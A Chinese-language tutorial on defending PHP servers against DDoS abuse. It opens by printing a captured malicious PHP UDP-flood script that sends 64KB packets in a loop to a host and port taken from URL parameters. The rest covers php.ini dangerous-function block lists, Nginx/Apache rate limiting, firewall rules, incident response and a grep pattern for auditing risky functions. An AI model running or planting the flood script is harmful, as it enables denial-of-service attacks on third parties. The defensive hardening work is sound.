首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 網頁程式設計 >> PHP 程式設計 >> PHP 綜合知識

PHP 防禦 DDOS 攻擊實戰:禁用危險函數、限制資源、應急響應

     編輯:PHP 綜合知識

攻擊樣本分析

捕獲一惡意腳本,核心邏輯:

<?php
set_time_limit(999999);
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$Sendlen = 65535;
ignore_user_abort(true);

for($i=0;$i<$Sendlen;$i++) $out .= "A"; // 64KB 數據包

$max_time = time() + $exec_time;
while(1) {
    if(time() > $max_time) break;
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
    if($fp) {
        fwrite($fp, $out);
        fclose($fp);
    }
}
// 輸出發包統計
?>

特徵:UDP Flood、無限循環、忽略斷開、大包發送。受害者為執行腳本的服務器(佔用帶寬/CPU/文件描述符),而非目標主機(需分布式協同才成 DDOS)。

PHP 層面防禦:禁用危險函數/特性

1. php.ini 核心配置

; 禁用網絡流打開(fsockopen/fopen URL/SoapClient 等)
allow_url_fopen = Off
allow_url_include = Off

; 禁用 Socket 擴展(若不需發郵件/異步連接)
; extension=php_sockets.dll

; 禁用危險函數
disable_functions = "
    exec,passthru,shell_exec,system,proc_open,popen,
    fsockopen,pfsockopen,stream_socket_client,stream_socket_server,
    pcntl_exec,pcntl_fork,pcntl_signal,pcntl_alarm,
    ld,dl,syslog,openlog,closelog,
    putenv,getenv,ini_set,ini_restore,dl
"

; 限制執行時間(防無限循環)
max_execution_time = 30
; 限制內存
memory_limit = 128M
; 限制 POST 大小
post_max_size = 8M
upload_max_filesize = 2M

2. 開啟安全模式(PHP 5.4 前)

safe_mode = On
safe_mode_gid = On
safe_mode_exec_dir = /usr/local/php/safe_bin
safe_mode_include_dir = /usr/local/php/safe_include

⚠️ PHP 5.4+ 已移除安全模式,請依賴 disable_functions + open_basedir + 容器化隔離。

3. open_basedir 限制文件訪問範圍

open_basedir = "/var/www/:/tmp/:/var/lib/php/session/"

防止惡意腳本讀寫敏感文件(/etc/passwd、/.ssh/id_rsa 等)。

Web 服務器層面防禦

Nginx 限流與連接控制

# 限制單 IP 並發連接
limit_conn_zone $binary_remote_addr zone=perip:10m;
limit_conn perip 20;

# 限制單 IP 請求頻率(每秒 10 次,突發 20)
limit_req_zone $binary_remote_addr zone=ratelimit:10m rate=10r/s;
limit_req zone=ratelimit burst=20 nodelay;

# 禁用緩衝區攻擊向量
client_body_buffer_size 16k;
client_header_buffer_size 1k;
client_max_body_size 8m;
large_client_header_buffers 2 1k;

Apache mod_evasive / mod_security

# mod_evasive
DOSHashTableSize 3097
DOSPageCount 2
DOSSiteCount 50
DOSPageInterval 1
DOSSiteInterval 1
DOSBlockingPeriod 10

# mod_security (OWASP CRS)
SecRuleEngine On
IncludeOptional /usr/share/modsecurity-crs/*.conf

系統/網絡層面防禦

  1. 防火牆:iptables -A INPUT -p udp --dport 53 -j DROP 禁用不必要 UDP 端口;ufw limit ssh/tcp 限制 SSH 暴力破解
  2. 內核參數:/etc/sysctl.conf 啟用 SYN Cookie、限制連接追蹤表大小
  3. 流量清洗:接入雲廠商高防 IP(阿里云/騰訊云/Cloudflare/AWS Shield),將攻擊流量導流清洗
  4. 應用層 WAF:ModSecurity + OWASP CRS / OpenResty + Lua WAF / 商業 WAF(云鎖/安全狗/堡壘機)

應急響應流程

1. 發現異常(帶寬跑滿/CPU 100%/大量 ESTABLISHED)
   → netstat -an | grep :80 | wc -l
   → top -c 定位進程
   → lsof -p PID 看打開文件/連接

2. 確認入口(Web 日誌/訪問日誌/錯誤日誌)
   → grep "fsockopen\|udp://" /var/log/nginx/access.log
   → 查找可疑 PHP 文件(find /var/www -name "*.php" -mtime -1)

3. 隔離處理
   → 禁用可疑腳本(chmod 000 / mv .bak)
   → 封禁攻擊 IP(iptables -A INPUT -s ATTACK_IP -j DROP)
   → 重啟 PHP-FPM/Nginx 釋放資源

4. 根因排查
   → 代碼審計:文件上傳/編輯器/插件/反序列化/命令注入
   → 權限檢查:網站目錄所有者/權限(www-data:www-data 755/644)
   → 組件更新:PHP/框架/CMS/插件升級到最新安全版本

5. 加固防護
   → 部署 WAF、禁用危險函數、配置限流、接入高防
   → 建立日誌審計/告警機制(ELK + ElastAlert / Prometheus + Alertmanager)

代碼審計關鍵字檢索

grep -r "fsockopen\|pfsockopen\|stream_socket_client\|exec\|shell_exec\|system\|passthru\|proc_open\|popen\|eval\|assert\|create_function\|unserialize\|base64_decode\|gzuncompress" /var/www/html --include="*.php"

總結

PHP DDOS 攻擊本質是利用 Web 執行環境發起外部網絡請求。核心防禦鏈:

  1. 代碼層:禁用 fsockopen 等網絡函數、限制 max_execution_time、memory_limit
  2. 服務器層:Nginx/Apache 限流、WAF 規則攔截異常請求
  3. 系統層:防火牆禁用非必要端口、內核優化、流量清洗服務
  4. 運營層:定期掃描 Webshell、組件升級、最小權限原則、日誌審計告警

單一層面防禦均可被繞過,唯有纵深防御體系才能將風險控制在可接受範圍。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved